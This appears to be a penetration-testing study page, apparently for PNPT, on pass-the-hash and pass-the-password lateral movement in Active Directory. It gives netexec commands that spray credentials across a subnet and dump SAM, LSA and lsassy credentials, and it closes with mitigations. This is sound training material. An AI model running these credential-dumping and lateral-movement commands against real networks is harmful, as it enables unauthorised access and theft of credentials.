> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/active-directory/post-compromise-attacks/pass-the-hash.md).

# Pass the Hash

## Overview

With a cracked a password and or dumped SAM hashes, we can use both of them for lateral movement by passing them around machines in the network.

If the password/hash is one of a Local Administrator, we can use secretsdump to dump out more hashes from other computers, crack those passwords and pass them around again.

**Netexec** is the tool that will be used for this attack and it even stores a database of all the findings of the attack.

## Netexec

Pass the Password

<pre class="language-bash"><code class="lang-bash"><strong>netexec smb 192.168.1.0/24 -u greg -d PNPT.local -p Password1
</strong></code></pre>

Pass the Hash

```bash
netexec smb 192.168.1.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404e' --local-auth
```

Pass the Hash Variations

```bash
--sam        Dumps SAM 
--shares     Dumps shares being offered by the machine
--lsa        Dumps LSA hashes (cached credentials)
-M lsassy    Dumps lsassy (recent user logins)
```

View **crackmapexec** database

```bash
nxcdb
```

{% embed url="<https://www.netexec.wiki/getting-started/database-general-usage>" %}

## Mitigation

* Limit account reuse
* Don't reuse Local Administrator passwords
* Disable Local Administrator and Guest accounts
* Limit who is an Administrator
* Strong password policy